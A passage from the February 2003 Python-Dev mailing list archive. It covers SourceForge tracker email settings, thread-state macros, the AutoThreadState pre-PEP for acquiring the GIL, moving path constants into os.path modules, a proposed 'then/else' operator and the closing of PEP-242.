a private e-mail.)

Should there be Py_BEGIN_AUTO_THREAD_STATE_ENSURE and
Py_END_AUTO_THREAD_STATE_ENSURE macros (analogous to
Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS) as well,
then?

-Jerry


From guido@python.org  Thu Feb 13 18:38:49 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 13 Feb 2003 13:38:49 -0500
Subject: [Python-Dev] Changing SF tracker email preferences
In-Reply-To: Your message of "13 Feb 2003 19:20:42 +0100."
 <u1f83uv9.fsf@python.net>
References: <200302131752.h1DHqCi00785@odiug.zope.com>
 <u1f83uv9.fsf@python.net>
Message-ID: <200302131838.h1DIcn101322@odiug.zope.com>

> > The SF tracker admin has an option to allow this: all I have to do is
> > uncheck the box that says "Send email on all changes".  I would really
> > like to do this.
> > 
> > Would anybody who is currently receiving bugs or patches traffic be
> > bothered if I made this change?
> 
> I find it sometimes interesting to receive these mails and read the
> comments which are posted, I cannot decide from the item description
> if I'm interested in this item or not.

Hm...  If you're the only one I'm inclined to overrule you. :-)

> (You could also route the mails them into the trashcan, and read them with a
> newsreader at news.gmane.org:gmane.comp.python.bugs or patches.)

No, that won't work: unless I uncheck that box, the traffic will
contain all posts, but I really want to see only posts announcing new
issues.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From theller@python.net  Thu Feb 13 18:48:34 2003
From: theller@python.net (Thomas Heller)
Date: 13 Feb 2003 19:48:34 +0100
Subject: [Python-Dev] Changing SF tracker email preferences
In-Reply-To: <200302131838.h1DIcn101322@odiug.zope.com>
References: <200302131752.h1DHqCi00785@odiug.zope.com>
 <u1f83uv9.fsf@python.net> <200302131838.h1DIcn101322@odiug.zope.com>
Message-ID: <of5g3tkt.fsf@python.net>

Guido van Rossum <guido@python.org> writes:

> > > The SF tracker admin has an option to allow this: all I have to do is
> > > uncheck the box that says "Send email on all changes".  I would really
> > > like to do this.
> > > 
> > > Would anybody who is currently receiving bugs or patches traffic be
> > > bothered if I made this change?
> > 
> > I find it sometimes interesting to receive these mails and read the
> > comments which are posted, I cannot decide from the item description
> > if I'm interested in this item or not.
> 
> Hm...  If you're the only one I'm inclined to overrule you. :-)

This is your good right of course, and my contribution is small enough
that I have to live with this.

> 
> > (You could also route the mails them into the trashcan, and read them with a
> > newsreader at news.gmane.org:gmane.comp.python.bugs or patches.)
> 
> No, that won't work: unless I uncheck that box, the traffic will
> contain all posts, but I really want to see only posts announcing new
> issues.
Yes, but you could ignore the threads you aren't interested in. Just an idea.

Thomas



From tim.one@comcast.net  Thu Feb 13 18:53:01 2003
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 13 Feb 2003 13:53:01 -0500
Subject: [Python-Dev] Changing SF tracker email preferences
In-Reply-To: <200302131752.h1DHqCi00785@odiug.zope.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHGEFKEOAA.tim.one@comcast.net>

[Guido]
> But...  when anything is changed or added to those trackers, an email
> is *also* sent to those lists.
>
> I would like to receive the first kind of traffic (new tracker issues)
> but not the second kind, except for those tracker issues in which I am
> interested (which I can get by explicit turning on monitoring of those
> issues, or by following up).
>
> The SF tracker admin has an option to allow this: all I have to do is
> uncheck the box that says "Send email on all changes".  I would really
> like to do this.
>
> Would anybody who is currently receiving bugs or patches traffic be
> bothered if I made this change?

I sure would.  At least 3/4ths of the comments I add to tracker items are
spurred by reading the topmost (most recent) comment in one of these "extra"
emails.  Sometimes they're tracker items I'm following anyway, but often
they're not.



From skip@pobox.com  Thu Feb 13 21:49:31 2003
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 13 Feb 2003 15:49:31 -0600
Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module
Message-ID: <15948.4843.672889.97600@montanaro.dyndns.org>

It has always mystified me that os.{sep,pathsep} aren't defined in os.path.
Looking at os.py I see that os.{curdir,pardir,defpath} should probably live
there as well.

Proposal: Move the definitions of curdir, pardir, sep, pathsep and defpath
into the relevant path module (ntpath, posixpath, etc), then for
compatibility reimport them ("from path import curdir, pardir, sep, pathsep,
defpath") later in os.py.  Update the libref documentation to reflect these
items' new home.  Do whatever is necessary deprecation-wise (silent in 2.3?
Update usage in Python source after 2.3 release and add visible deprecation
in 2.4?).

Rationale: These variables are all path-related.  One of the reasons for
having platform-specific path modules is to allow programmers to manipulate
filesystem paths for platform X on platform Y.  This would make those items
available under that sort of scenario.  It would also reduce the amount of
platform-specific code in os.py.

Skip


From mhammond@skippinet.com.au  Thu Feb 13 22:11:22 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Fri, 14 Feb 2003 09:11:22 +1100
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: <GBEGLOMMCLDACBPKDIHFKENEDCAA.gsw@agere.com>
Message-ID: <005301c2d3ac$d84a9f80$530f8490@eden>

> Aargh! I had an e-mail composed about that right away,
> but didn't press send for fear of increasing the noise
> level of Python-Dev even more. When you said saving of
> state is a PITA, I figured you meant that this wasn't
> going to work so easily. (Next time I'll at least send
> a private e-mail.)

Yes, I felt foolish :)  Truly a case of "forest for the trees" - especially
as I had working code I was referring to which did exactly this (even if it
was in a C++ instance variable rather than a local :)

> Should there be Py_BEGIN_AUTO_THREAD_STATE_ENSURE and
> Py_END_AUTO_THREAD_STATE_ENSURE macros (analogous to
> Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS) as well,
> then?

I'm not sure we can really get away with this.  For C code, a common pattern
will need to be:

  PyAutoThreadState_State state;
  .. some code
  state = PyAutoThreadState_Ensure();
  ... more code
  PyAutoThreadState_Ensure(state);
}

We actually need all 3 blocks.  Unlike Py_BEGIN_ALLOW_THREADS, we can't
create a new scope to declare a local variable in, as that variable is
needed by the outer most scope.

I guess:
Py_AUTO_THREAD_STATE_DECLARE
Py_AUTO_THREAD_STATE_ENSURE
Py_AUTO_THREAD_STATE_RELEASE

would work.

OTOH, in the code I am patching there already exists "#ifdef __cplusplus" -
I am so tempted to add a tiny little extra block define a helper C++ class
in the Python sources for managing this.  However, if I do that I fear the
Spanish Inquisition will look like a stroll in the park <wink>

Could-do-it-in-2-lines-or-so ly,

Mark.



From guido@python.org  Thu Feb 13 22:33:44 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 13 Feb 2003 17:33:44 -0500
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: Your message of "Fri, 14 Feb 2003 09:11:22 +1100."
 <005301c2d3ac$d84a9f80$530f8490@eden>
References: <005301c2d3ac$d84a9f80$530f8490@eden>
Message-ID: <200302132233.h1DMXii19596@odiug.zope.com>

> > Should there be Py_BEGIN_AUTO_THREAD_STATE_ENSURE and
> > Py_END_AUTO_THREAD_STATE_ENSURE macros (analogous to
> > Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS) as well,
> > then?
> 
> I'm not sure we can really get away with this.  For C code, a common pattern
> will need to be:
> 
>   PyAutoThreadState_State state;
>   .. some code
>   state = PyAutoThreadState_Ensure();
>   ... more code
>   PyAutoThreadState_Ensure(state);
> }
> 
> We actually need all 3 blocks.  Unlike Py_BEGIN_ALLOW_THREADS, we can't
> create a new scope to declare a local variable in, as that variable is
> needed by the outer most scope.
> 
> I guess:
> Py_AUTO_THREAD_STATE_DECLARE
> Py_AUTO_THREAD_STATE_ENSURE
> Py_AUTO_THREAD_STATE_RELEASE
> 
> would work.

The macros don't look more attractive than the explicit code.

> OTOH, in the code I am patching there already exists "#ifdef
> __cplusplus" - I am so tempted to add a tiny little extra block
> define a helper C++ class in the Python sources for managing this.
> However, if I do that I fear the Spanish Inquisition will look like
> a stroll in the park <wink>

Cardinal Biggles, get the soft cushions!

Actually, relying on C++ would be bad, since this might be useful
outside Windows as well.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From gsw@agere.com  Thu Feb 13 22:40:29 2003
From: gsw@agere.com (Gerald S. Williams)
Date: Thu, 13 Feb 2003 17:40:29 -0500
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: <005301c2d3ac$d84a9f80$530f8490@eden>
Message-ID: <GBEGLOMMCLDACBPKDIHFOENLDCAA.gsw@agere.com>

Mark Hammond wrote:
> I'm not sure we can really get away with this.  For C code, a common pattern
> will need to be:
> 
>   PyAutoThreadState_State state;
>   .. some code
>   state = PyAutoThreadState_Ensure();
>   ... more code
>   PyAutoThreadState_Ensure(state);
> }
> 
> We actually need all 3 blocks.  Unlike Py_BEGIN_ALLOW_THREADS, we can't
> create a new scope to declare a local variable in, as that variable is
> needed by the outer most scope.

If you say so, I'll take your word for it, although your
example seems to contradict what you're saying--i.e., it
makes it look like this would work:

{
   ... some code
   { PyAutoThreadState_State state = PyAutoThreadState_Ensure(); /* BEGIN */
      ... more code
   PyAutoThreadState_Ensure(state); } /* END */
}

> I guess:
> Py_AUTO_THREAD_STATE_DECLARE
> Py_AUTO_THREAD_STATE_ENSURE
> Py_AUTO_THREAD_STATE_RELEASE
> 
> would work.

If you need the declaration, I'd vote for making it
explicit. I only suggested the macro for consistency
with what's been done before.

> OTOH, in the code I am patching there already exists "#ifdef __cplusplus" -
> I am so tempted to add a tiny little extra block define a helper C++ class
> in the Python sources for managing this.  However, if I do that I fear the
> Spanish Inquisition will look like a stroll in the park <wink>

I've been thinking about a related use for __cplusplus: in
C++ (or C99 for that matter), the extra scope declaration in
Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS isn't needed. I
wonder if it would be worth removing the braces from those
macros when possible. It would be just a matter of principle,
I guess--putting braces in macros like that is generally
frowned upon in polite company. ;-)

-Jerry


From guido@python.org  Thu Feb 13 22:41:43 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 13 Feb 2003 17:41:43 -0500
Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module
In-Reply-To: Your message of "Thu, 13 Feb 2003 15:49:31 CST."
 <15948.4843.672889.97600@montanaro.dyndns.org>
References: <15948.4843.672889.97600@montanaro.dyndns.org>
Message-ID: <200302132241.h1DMfhE20063@odiug.zope.com>

> It has always mystified me that os.{sep,pathsep} aren't defined in os.path.

Yes, hysterical raisins if I ever saw one. :-)

> Looking at os.py I see that os.{curdir,pardir,defpath} should probably live
> there as well.

Yes.

> Proposal: Move the definitions of curdir, pardir, sep, pathsep and defpath
> into the relevant path module (ntpath, posixpath, etc), then for
> compatibility reimport them ("from path import curdir, pardir, sep, pathsep,
> defpath") later in os.py.

Yes.

> Update the libref documentation to reflect these
> items' new home.  Do whatever is necessary deprecation-wise (silent in 2.3?
> Update usage in Python source after 2.3 release and add visible deprecation
> in 2.4?).

No.  These things have been where they are for such a long time, there
really is no reason to break everybody's code that uses these.

> Rationale: These variables are all path-related.  One of the reasons for
> having platform-specific path modules is to allow programmers to manipulate
> filesystem paths for platform X on platform Y.  This would make those items
> available under that sort of scenario.  It would also reduce the amount of
> platform-specific code in os.py.

You can document the fact that from now on, posixpath, ntpath, macpath
etc. also have these variables.  But don't deprecate the names in os
-- I really don't see the point of that, there's no bug being fixed.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mhammond@skippinet.com.au  Thu Feb 13 22:42:53 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Fri, 14 Feb 2003 09:42:53 +1100
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: <200302132233.h1DMXii19596@odiug.zope.com>
Message-ID: <005c01c2d3b1$40755a60$530f8490@eden>

> > OTOH, in the code I am patching there already exists "#ifdef
> > __cplusplus" - I am so tempted to add a tiny little extra block
> > define a helper C++ class in the Python sources for managing this.
> > However, if I do that I fear the Spanish Inquisition will look like
> > a stroll in the park <wink>
>
> Cardinal Biggles, get the soft cushions!

:)

> Actually, relying on C++ would be bad, since this might be useful
> outside Windows as well.

Well, I was thinking of:

#ifdef __cplusplus
class PyAutoThreadState {
  PyAutoThreadState() {state = PyAutoThreadState_Ensure();}
  ~PyAutoThreadState() {PyAutoThreadState_Restore(state);}
  PyAutoThreadState_State state;
}
#endif

Meaning the C level API is always there, but a C++ compiler on any platform
should allow extension authors to say:

void MyCppFunc(void)
{
   PyAutoThreadState state;
}

And the rest happens by magic.

Was-only-half-serious-but-getting-more-so ly,

Mark.



From mhammond@skippinet.com.au  Thu Feb 13 22:34:37 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Fri, 14 Feb 2003 09:34:37 +1100
Subject: [Python-Dev] Updated AutoThreadState pre-PEP
Message-ID: <005701c2d3b0$17e825b0$530f8490@eden>

This is a multi-part message in MIME format.

------=_NextPart_000_0058_01C2D40C.4B589DB0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi all,
  I have updated my pre-PEP, and am about to start the process of making it
a real PEP :)

I have attached the latest and greatest version here.  I believe it largely
complete.  There is a fully functional, platform independent implementation
at http://www.python.org/sf/684256

All comments, reviews, tests and anything else welcome.

Mark.

------=_NextPart_000_0058_01C2D40C.4B589DB0
Content-Type: text/plain;
	name="pep_gil.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="pep_gil.txt"

PEP: xxx
Title: Simplified Global Interpreter Lock acquisition for extensions
Version: $Revision: $
Last-Modified: $Date: $
Author: Mark Hammond <mhammond@skippinet.com.au>
Status:=20
Type:=20
Content-Type: text/plain
Created: Feb-2003
Post-History:

Open Issues
    This is where I note comments from people that are yet to be =
resolved.
    - JustvR prefers a PyGIL prefix over PyAutoThreadState.  MarkH =
prefers
      the latter as the implementation is really about thread states
      as much as the GIL, but doesn't really care though.
    - Should we provide Py_AUTO_THREAD_STATE macros?
    - Is my "Limitation" regarding PyEval_InitThreads() OK?

Abstract

    This PEP proposes a simplified API for access to the Global
    Interpreter Lock (GIL) for Python extension modules.
    Specifically, it provides a solution for authors of complex
    multi-threaded extensions, where the current state of Python
    (i.e., the state of the GIL, or if Python is currently using the
    GIL, or indeed if Python has been initialized) is unknown.

    This PEP proposes a new API, for platforms built with threading
    support, to manage the Python thread state.  An implementation
    strategy is proposed, along with an initial, platform independent
    implementation.

Rationale

    The current Python interpreter state API is suitable for simple,
    single-threaded extensions, but quickly becomes incredibly complex
    for non-trivial, multi-threaded extensions.

    Currently Python provides two mechanisms for dealing with the GIL:

    - Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS macros.
      These macros are provided primarily to allow a simple Python
      extension that already owns the GIL to temporarily release it
      while making an "external" (ie, non-Python), generally
      expensive, call.  Any existing Python threads that are blocked
      waiting for the GIL are then free to run.  While this is fine
      for extensions making calls from Python into the outside world,
      it is no help for extensions that need to make calls into Python
      when the thread state is unknown.

    - PyThreadState and PyInterpreterState APIs.
      These API functions allow an extension/embedded application to
      acquire the GIL, but suffer from a serious boot-strapping
      problem - they require you to know the state of the Python
      interpreter and of the GIL before they can be used.  One
      particular problem is for extension authors that need to deal
      with threads never before seen by Python, but need to call
      Python from this thread.  It is very difficult, delicate and
      error prone to author an extension where these "new" threads
      always know the exact state of the GIL, and therefore can
      reliably interact with this API.

    For these reasons, the question of how such extensions should
    interact with Python is quickly becoming a FAQ.  The main impetus
    for this PEP, a thread on python-dev [1], immediately identified
    the following projects with this exact issue:

    - The win32all extensions
    - Boost
    - ctypes
    - Python-GTK bindings
    - Uno
    - PyObjC
    - Mac toolbox
    - PyXPCOM

    Currently, there is no reasonable, portable solution to this
    problem, forcing each extension author to implement their own
    hand-rolled version.  Further, the problem is complex, meaning
    many implementations are likely to be incorrect, leading to a
    variety of problems that will often manifest simply as "Python has
    hung".
   =20
    While the biggest problem in the existing thread-state API is the
    lack of the ability to query the current state of the lock, it is
    felt that a more complete, simplified solution should be offered
    to extension authors.  Such a solution should encourage authors to
    provide error-free, complex extension modules that take full
    advantage of Python's threading mechanisms.
   =20
Limitations and Exclusions

    This proposal identifies a solution for extension authors with
    complex multi-threaded requirements, but that only require a
    single "PyInterpreterState".  There is no attempt to cater for
    extensions that require multiple interpreter states.  As at time
    of writing, no extension has been identified that requires
    multiple PyInterpreterStates, and indeed it is not clear if that
    facility works correctly in Python itself.

    While this auto-thread-state API will initialize Python itself, it
    will not automatically call PyEval_InitThreads().  Thus,
    multi-threaded applications must ensure this call is made
    manually.  As the thread which makes this call is nominated the
    "main thread" by Python, it is felt that the extension author
    should make this call explicitly, to ensure the main thread is
    determinate.

    It is intended that this API be all that is necessary to acquire
    the Python GIL.  Apart from the existing, standard
    Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS macros, it is
    assumed that no additional thread state API functions will be used
    by the extension.  Extensions with such complicated requirements
    are free to continue to use the existing thread state API.

Proposal

    This proposal recommends a new API be added to Python to simplify
    the management of the GIL.  This API will be available on all
    platforms built with WITH_THREAD defined.
   =20
    The intent is that an extension author be able to use a small,
    well-defined "prologue dance", at any time and on any thread, and
    this dance will ensure Python is ready to be used on that thread.
    After the extension has finished with Python, it must also perform
    an "epilogue dance" to release any resources previously acquired.
    Ideally, these dances will be able to be expressed in a single
    line.

    Specifically, the following new APIs are proposed:
   =20
    /* Ensure that the current thread is ready to call the Python C
    API, regardless of the current state of Python, or of its thread
    lock.  This may be called as many times as desired by a thread, so
    long as each call is matched with a call to
    PyAutoThreadState_Release()
   =20
    The return value is an opaque "handle" to the thread state when
    PyAutoThreadState_Acquire() was called, and must be passed to
    PyAutoThreadState_Release() to ensure Python is left in the same
    state.
   =20
    When the function returns, the current thread will hold the GIL.
    Thus, the GIL is held by the thread until
    PyAutoThreadState_Release() is called. (Note that as happens now
    in Python, calling a Python API function may indeed cause a
    thread-switch and therefore a GIL ownership change.  However,
    Python guarantees that when the API function returns, the GIL will
    again be owned by the thread making the call)

    Failure is a fatal error.
    */
    PyAutoThreadState_State PyAutoThreadState_Ensure(void);

    /* Release any resources previously acquired.  After this call,
    Python's state will be the same as it was prior to the
    corresponding PyAutoThreadState_Acquire call (but generally this
    state will be unknown to the caller, hence the use of the
    AutoThreadState API.)
   =20
    Every call to PyAutoThreadState_Ensure must be matched by a
    call to PyAutoThreadState_Release on the same thread.
    */
    void PyAutoThreadState_Release(PyAutoThreadState_State state);

    Common usage will be:

    void SomeCFunction(void)
    {
        /* ensure we hold the lock */
        PyAutoThreadState_State state =3D PyAutoThreadState_Ensure();
        /* Use the Python API */
        ...
        /* Restore the state of Python */
        PyAutoThreadState_Release(state);
    }

Design and Implementation

    The general operation of PyAutoThreadState_Ensure() will be:
    - Ensure Python is initialized.
    - Get a PyThreadState for the current thread, creating and saving if =

      necessary.
    - remember the current state of the lock (owned/not owned)
    - If the current state does not own the GIL, acquire it.
    - Increment a counter for how many calls to PyAutoThreadState_Ensure
      have been made on the current thread.
    - return

    The general operation of PyAutoThreadState_Release() will be:
    - assert our thread currently holds the lock.
    - If old state indicates lock as previously unlocked, release GIL.
    - Decrement the PyAutoThreadState_Ensure counter for the thread.
    - If counter =3D=3D 0:
      - release the PyThreadState.
      - forget the ThreadState as being owned by the thread.
    - return

    It is assumed that it is an error if two discrete PyThreadStates
    are used for a single thread.  Comments in pystate.h ("State
    unique per thread") support this view, although it is never
    directly stated.  Thus, this will require some implementation of
    Thread Local Storage.  Fortunately, a platform independent
    implementation of Thread Local Storage already exists in the
    Python source tree, in the SGI threading port.  This code will be
    integrated into the platform independent Python core, but in such
    a way that platforms can provide a more optimal implementation if
    desired.

Implementation
    An implementation of this proposal can be found at=20
    http://www.python.org/sf/684256

References

    [1] =
http://mail.python.org/pipermail/python-dev/2002-December/031424.html

Copyright

    This document has been placed in the public domain.


=0C
Local Variables:
mode: indented-text
indent-tabs-mode: nil
sentence-end-double-space: t
fill-column: 70
End:

------=_NextPart_000_0058_01C2D40C.4B589DB0--



From skip@pobox.com  Thu Feb 13 22:55:41 2003
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 13 Feb 2003 16:55:41 -0600
Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from
 relevant *path module
In-Reply-To: <200302132241.h1DMfhE20063@odiug.zope.com>
References: <15948.4843.672889.97600@montanaro.dyndns.org>
 <200302132241.h1DMfhE20063@odiug.zope.com>
Message-ID: <15948.8813.80265.32058@montanaro.dyndns.org>

    >> Update the libref documentation to reflect these items' new home.  Do
    >> whatever is necessary deprecation-wise (silent in 2.3?  Update usage
    >> in Python source after 2.3 release and add visible deprecation in
    >> 2.4?).

    Guido> No.  These things have been where they are for such a long time,
    Guido> there really is no reason to break everybody's code that uses
    Guido> these.

I assume "No" applies to the deprecation part and not the update-the-doc
part. 

    Guido> You can document the fact that from now on, posixpath, ntpath,
    Guido> macpath etc. also have these variables.  But don't deprecate the
    Guido> names in os -- I really don't see the point of that, there's no
    Guido> bug being fixed.

Sounds fine by me.

Skip


From tim.one@comcast.net  Thu Feb 13 22:57:09 2003
From: tim.one@comcast.net (Tim Peters)
Date: Thu, 13 Feb 2003 17:57:09 -0500
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: <GBEGLOMMCLDACBPKDIHFOENLDCAA.gsw@agere.com>
Message-ID: <BIEJKCLHCIOIHAGOKOLHOEHAEOAA.tim.one@comcast.net>

[Gerald S. Williams]
> ...
> I've been thinking about a related use for __cplusplus: in
> C++ (or C99 for that matter), the extra scope declaration in
> Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS isn't needed. I
> wonder if it would be worth removing the braces from those
> macros when possible.

-1.  Having to live with two definition points for these macros is pain
enough already.

> It would be just a matter of principle, I guess--putting braces in macros
> like that is generally frowned upon in polite company. ;-)

Pragmatic company likes it:  the braces make it very likely you'll get
cascades of baffling compile-time errors if you don't use the BEGIN/END
macros in matched pairs.  That's better than cascades of baffling runtime
errors.



From guido@python.org  Thu Feb 13 22:57:25 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 13 Feb 2003 17:57:25 -0500
Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS?
In-Reply-To: Your message of "Fri, 14 Feb 2003 09:42:53 +1100."
 <005c01c2d3b1$40755a60$530f8490@eden>
References: <005c01c2d3b1$40755a60$530f8490@eden>
Message-ID: <200302132257.h1DMvP320492@odiug.zope.com>

> Well, I was thinking of:
> 
> #ifdef __cplusplus
> class PyAutoThreadState {
>   PyAutoThreadState() {state = PyAutoThreadState_Ensure();}
>   ~PyAutoThreadState() {PyAutoThreadState_Restore(state);}
>   PyAutoThreadState_State state;
> }
> #endif
> 
> Meaning the C level API is always there, but a C++ compiler on any platform
> should allow extension authors to say:
> 
> void MyCppFunc(void)
> {
>    PyAutoThreadState state;
> }
> 
> And the rest happens by magic.
> 
> Was-only-half-serious-but-getting-more-so ly,

OK, that works for me.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Thu Feb 13 23:32:07 2003
From: guido@python.org (Guido van Rossum)
Date: Thu, 13 Feb 2003 18:32:07 -0500
Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from
 relevant *path module
In-Reply-To: "Your message of Thu, 13 Feb 2003 16:55:41 CST."
 <15948.8813.80265.32058@montanaro.dyndns.org>
References: <15948.4843.672889.97600@montanaro.dyndns.org>
 <200302132241.h1DMfhE20063@odiug.zope.com>
 <15948.8813.80265.32058@montanaro.dyndns.org>
Message-ID: <200302132332.h1DNW7Z29890@pcp02138704pcs.reston01.va.comcast.net>

>     >> Update the libref documentation to reflect these items' new home.  Do
>     >> whatever is necessary deprecation-wise (silent in 2.3?  Update usage
>     >> in Python source after 2.3 release and add visible deprecation in
>     >> 2.4?).
> 
>     Guido> No.  These things have been where they are for such a long time,
>     Guido> there really is no reason to break everybody's code that uses
>     Guido> these.
> 
> I assume "No" applies to the deprecation part and not the update-the-doc
> part. 

Well, I don't want to update the docs to say that you should
henceforth use os.path.sep etc.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mhammond@skippinet.com.au  Fri Feb 14 01:11:06 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Fri, 14 Feb 2003 12:11:06 +1100
Subject: [Python-Dev] Updated AutoThreadState pre-PEP
In-Reply-To: <20030214010035.GA24921@panix.com>
Message-ID: <001501c2d3c5$f3dc6300$530f8490@eden>

[Aahz, in private mail, provokes an interesting point]

> "What happens if you do PyAutoThreadState_Ensure() and
> PyEval_InitThreads() has not been called?"
>
> There should be some discussion of the appropriate time to call
> PyEval_InitThreads().

Yeah, this is an interesting, indirect point.  If the author must call
PyEval_InitThreads(), then they must also have called Py_Initialize().  If
in the real world, all users of this API have already done this at process
startup, then our internal checks for initialization are pointless.

Therefore, I propose that I change the PEP to state that before the
AutoThreadState API can be used, Python must have been "correctly
initialized", where "correctly initialized" is defined as:
* Py_Initialize() has been called.
* If the extension is multi-threaded, then PyEval_InitThreads() has been
called from the "main thread".

If these conditions are not met, Python will either (and hopefully usually)
Py_FatalError(), or occasionally dead-lock.

Any objections?

Mark.



From tismer@tismer.com  Fri Feb 14 03:17:17 2003
From: tismer@tismer.com (Christian Tismer)
Date: Fri, 14 Feb 2003 04:17:17 +0100
Subject: [Python-Dev] PEP 308: "then" "else" for deprecating "and" "or" side effects
Message-ID: <3E4C5FBD.2070309@tismer.com>

Dear community,

there has been some favor of my silly/simple a then b else c proposal.

Please let me elaborate a little on this, with respect
to the existing "and" and "or operators.

"and" and "or" are two-headed beasts:
At first glance, they pretend to be logical operators.
At second inspection, they do this logic by promoting
one of their operands.

This is not obviously bad, and it is consistant with the logic.

Due to the presence of a real boolean type, we
should ask ourselves if "and" and "or" shouldn't be
deprecated in their current meaning, towards being
"boolean only"?
I think it would be nicer if "and" and "or" would only
produce true or false. But this would break lots of code.
Therefore, I propose to keep them as they are, but to deprecate
using them to carry their operand values instead of a true truth
value.

This would be still allowed, but there are new, more explicit
operators, which should be used instead for new Python code:

The binary operators "then" and "else".
The ternary operator "then else".
For a clear definition, see the function
definitions below.

Example: Parameter cleanup.
Parameters are often massaged like this:
"or" case:

     arg = arg or "Default"

The meaning of this phrase is:
"If the user has provided no argument value that is
true (non-empty or not 0 most of the time), then provide
some default value".

     arg = arg then arg else "Default"

would be the verbose ternary replacement of this.
A short replacement would read better:

     arg = arg else "Default"

which means "If arg is false, replace it by 'Default'".

"and" case:

     arg = arg and 42

The meaning of this phrase is:
"If the user provided any argument that is true, use some
default value".

     arg = arg then 42 else arg

would be the verbose replacement of this.
A short replacement would read better:

     arg = arg then 42

Summary:
--------
"and" and "or" are behaving like logical operators.
They happen to do this by not providing a plain
truth value, but by promoting one of their operands.

"and" and "or" are valid operators, when used in a
logical context, only, meaning only to use the truth
value. They have the side effect of carrying an operand,
which I regard as a design flaw, but this is bearable
when used properly.

Using "and" and "or", when they are meant as "then" or "else"
should be deprectaed as bad style in the long term.

Almost all instances of "and" and "or" used to carry a value
can be replaced by "then" or "else" with ease, which makes the
resulting code much more readable without prior knowledge.

"and" and "or" do have a builtin perception of symmetry,
which is not related to the truth, and hard to explain to
newcomers.
Therefore, I propose to deprecate their use to promote
a value, and I propose to introduce "then" and "else"
as dual operators, together with the "then else" pair
as ternary operator, to be used in any context where
the inquiry should promote the right operand without
evaluating its truth value.

Definition:
-----------

Here is my "cure" to "and" and "or" with side-effects:

     a then b
     --------

is equivalent to

     def then_proc(a, b):
         if a:
              return b
         else:
              return a

     a else b
     --------

is equivalent to

     def else_proc(a, b):
         if a:
              return a
         else:
              return b

     a then b else c
     ---------------

is equivalent to

     def then_else_proc(a, b, c):
         if a:
             return b
         else:
             return c

"and" and "or" should be replaced by the above constructs,
in all contexts where "and" and "or" are not pure logical,
but are meant to propagate specific values, for all new code.

kind regards -- chris

p.s.: Please correct me positively, if I made a mistake at 4:15am


-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From paul@pfdubois.com  Fri Feb 14 03:36:34 2003
From: paul@pfdubois.com (Paul Dubois)
Date: Thu, 13 Feb 2003 19:36:34 -0800
Subject: [Python-Dev] PEP-242 Numeric kinds -- disposition
Message-ID: <000501c2d3da$461e0920$6601a8c0@NICKLEBY>

PEP-242 should be closed. The kinds module will not be added to the =
standard
library.

There was no opposition to the proposal but only mild interest in using =
it,
not enough to justify adding the module to the standard library. =
Instead, it
will be made available as a separate distribution item at the Numerical
Python site. At the next release of Numerical Python, it will no longer =
be a
part of the Numeric distribution.



From mhammond@skippinet.com.au  Fri Feb 14 04:09:24 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Fri, 14 Feb 2003 15:09:24 +1100
Subject: [Python-Dev] Updated AutoThreadState pre-PEP
In-Reply-To: <005701c2d3b0$17e825b0$530f8490@eden>
Message-ID: <002c01c2d3de$dc698ae0$530f8490@eden>

This PEP has been given a number (311) and checked in!  It should appear in
the python.org pep list soon, but is in CVS right now.

The PEP is updated slightly from the one posted:

* Updated to reflect that the extension must previously call Py_Initialize()
and possibly PyEval_InitThreads().  The auto-thread-state API will not do
this.

* Jack offered some ideas for different names, and noted that I mixed the
use of "Acquire" and "Ensure" in the body.  I made this consistently
"Ensure", but noted Jack's preference for "Acquire" in the "unresolved
issues" section.

Thanks,

Mark.



From skip@pobox.com  Fri Feb 14 06:50:24 2003
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 14 Feb 2003 00:50:24 -0600
Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from
 relevant *path module
